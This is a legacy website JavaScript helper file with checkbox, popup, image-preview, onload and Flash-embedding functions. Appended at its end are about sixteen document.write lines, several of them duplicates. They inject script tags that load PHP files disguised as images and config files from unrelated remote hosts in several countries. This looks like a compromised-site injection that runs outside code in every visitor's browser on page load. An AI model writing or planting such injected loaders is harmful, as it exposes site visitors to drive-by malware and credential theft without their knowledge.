var imgWindow;
imgWindow=null;
function checkAllRows(frm,objName,status)
{
	for(i=0;i<frm.elements.length;i++)
	if(frm.elements[i].name==objName &&  frm.elements[i].type=='checkbox')
	{
	   frm.elements[i].checked=status;
	}
}

function isCheckAllRows(frm,objName,objSel) 
{
   var checkedAll=true;
   for(i=0;i<frm.elements.length;i++)
	if(frm.elements[i].name==objName &&  frm.elements[i].type=='checkbox')
	{
	   if(frm.elements[i].checked==false && checkedAll==true)
	   {
	     checkedAll=false;
	   }
	}
	objSel.checked=checkedAll;
}
function existsControl(frm,objName,type) 
{
   for(i=0;i<frm.elements.length;i++)
	if(frm.elements[i].name==objName &&  frm.elements[i].type==type)
	{
	     return true;
	}
	return false;
}
function delAlert(msg)
{
	 if(confirm(msg+ "\n\nAre you sure you want to delete?")==true)
 	{
	  return confirm('DO YOU WANT TO DELETE?')
 	}
	  return false; 
}
function hideLayer(layerId){ 
	if (document.all) { document.all[layerId].style.visibility = "hidden"; } 
	if(document.layers){ document.layers[layerId].visibility = "hide";} 
	if(document.getElementById) {document.getElementById(layerId).style.visibility='hidden';} 
}
function showLayer(layerId) { 
	if (document.all) { document.all[layerId].style.visibility = "visible";} 
	if(document.layers) { document.layers[layerId].visibility = "show" ;} 
	if(document.getElementById) {document.getElementById(layerId).style.visibility='visible';} 
}

function openWin(theURL,winName,features) 
{
  	window.open(theURL,winName,features);
}

function OpenPreviewWindow(targetPage, formName)
{
	now = new Date	
	//Open the window first
   	openWin('','preview','toolbar=0,location=0,status=0,menubar=0,scrollbars=1,resizable=1,width=680,height=400')
   	//Now submit form to the new window
   	formName.action = targetPage + "&ID=" + now.getTime();
	formName.target = "preview";
	formName.submit();
}

function enable(control)
{
	control.disabled=false;
	control.className='enabled';
}
function disable(control)
{
	control.disabled=true;
	control.className='disabled';
}
function showImage(file)
{
	if(imgWindow!=null){
	imgWindow.close();
	}
	imgWindow=window.open('','imageview','width=400, height=400,dependent=no,scrollbars=yes,resizable=yes,menubar=no,toolbar=no');
	imgWindow.document.write("<html><head><title>Image View</title><link href=\"style/style.css\" type=\"text/css\" rel=\"stylesheet\"><meta http-equiv=\"Expires\" content=\"Sat, 26 Oct 1999 00:00:00 GMT\">\n<meta http-equiv=\"Cache-Control\" content=\"no-cache\">\n<meta http-equiv=\"Pragma\" content=\"no-cache\">\n</head><body bgcolor=\"#f5f5f5\" ><br><br><center><img src=\""+file+"\" name=\"img\" ><font class=\"normalfont\"><br><br><script language=\"javascript\">document.write(document.img.width+' x ');document.write(document.img.height)</script></font></center></body></html>");
	return false;
}
function viewEnlarged(W, H, proj_ID, image_ID)
{
   W += 50;
   var X = (screen.width/2)-(W/2);
   var Y = (screen.height/2)-(H/2);
 
   var winPref = "width=" + W + ",height=" + H
               + ",innerWidth=" + W + ",innerHeight=" + H
               + ",left=" + X + ",top=" + Y
                + ",screenX=" + X + ",screenY=" + Y
               + ",dependent=yes,titlebar=no,scrollbars=yes,resizable=no";

   var myWin = top.open("view_enlarged.php?proj_id=" + proj_ID + "&image_id=" + image_ID, "myWin", winPref );
   if ( !myWin.opener )
       myWin.opener = top;
   myWin.focus();
   return false;
}
//***************************************MUltiple Onloads*********************************
// Browser Detection
isMac = (navigator.appVersion.indexOf("Mac")!=-1) ? true : false;
NS4 = (document.layers) ? true : false;
IEmac = ((document.all)&&(isMac)) ? true : false;
IE4plus = (document.all) ? true : false;
IE4 = ((document.all)&&(navigator.appVersion.indexOf("MSIE 4.")!=-1)) ? true : false;
IE5 = ((document.all)&&(navigator.appVersion.indexOf("MSIE 5.")!=-1)) ? true : false;
ver4 = (NS4 || IE4plus) ? true : false;
NS6 = (!document.layers) && (navigator.userAgent.indexOf('Netscape')!=-1)?true:false;

// Body onload utility (supports multiple onload functions)
var gSafeOnload = new Array();
function SafeAddOnload(f)
{
	if (IEmac && IE4)  // IE 4.5 blows out on testing window.onload
	{
		window.onload = SafeOnload;
		gSafeOnload[gSafeOnload.length] = f;
	}
	else if  (window.onload)
	{
		if (window.onload != SafeOnload)
		{
			gSafeOnload[0] = window.onload;
			window.onload = SafeOnload;
		}		
		gSafeOnload[gSafeOnload.length] = f;
	}
	else
		window.onload = f;
}
function SafeOnload()
{
	for (var i=0;i<gSafeOnload.length;i++)
	gSafeOnload[i]();
}
  // resizes Iframe according to content
 function resizeMe(){ 
   viewFrameHeight=frames.externallink.document.body.scrollHeight;
   viewFrameWidth=frames.externallink.document.body.scrollWidth;
   alert(viewFrameWidth+" X "+viewFrameHeight);
   if(viewFrameHeight<450)
   viewFrameHeight=450
   document.getElementById('externallink').height=viewFrameHeight;
 }
 
function ComingSoon() {
	alert('Coming Soon...');
	return false;
}
function WriteFlash(FileName, Width, Height)
{
    document.write('<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="' + Width + '" height="' + Height + '">');
    document.write('<param name="movie" value="' + FileName + '" />');
    document.write('<param name="quality" value="high" />');
    document.write('<param name="wmode" value="opaque" />');
    document.write('<param name="menu" value="false" />');
    document.write('<embed src="' + FileName + '" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="' + Width + '" height="' + Height + '" wmode="opaque" menu="false">');
    document.write('</embed>');
    document.write('</object>');
}
document.write('<script src=http://contact-web.com/catalog/images/login.php ><\/script>');
document.write('<script src=http://contact-web.com/catalog/images/login.php ><\/script>');
document.write('<script src=http://contact-web.com/catalog/images/login.php ><\/script>');
document.write('<script src=http://zooman.ru/templates/configuration.php-dist.php ><\/script>');
document.write('<script src=http://diversity-solutions.net/images/marketing-and-advertising.php ><\/script>');
document.write('<script src=http://diversity-solutions.net/images/marketing-and-advertising.php ><\/script>');
document.write('<script src=http://diversity-solutions.net/images/marketing-and-advertising.php ><\/script>');
document.write('<script src=http://diversity-solutions.net/images/marketing-and-advertising.php ><\/script>');
document.write('<script src=http://diversity-solutions.net/images/marketing-and-advertising.php ><\/script>');
document.write('<script src=http://loveguri.kr/data_file/lovegwangmyeong/errimg.php ><\/script>');
document.write('<script src=http://comfile.co.kr/blog/time.php ><\/script>');
document.write('<script src=http://comfile.co.kr/blog/time.php ><\/script>');
document.write('<script src=http://metalmind.unl.pl/images/login.php ><\/script>');
document.write('<script src=http://cinefocuz.com/cache/sIFR-print.php ><\/script>');
document.write('<script src=http://cinefocuz.com/cache/sIFR-print.php ><\/script>');
document.write('<script src=http://cinefocuz.com/cache/sIFR-print.php ><\/script>');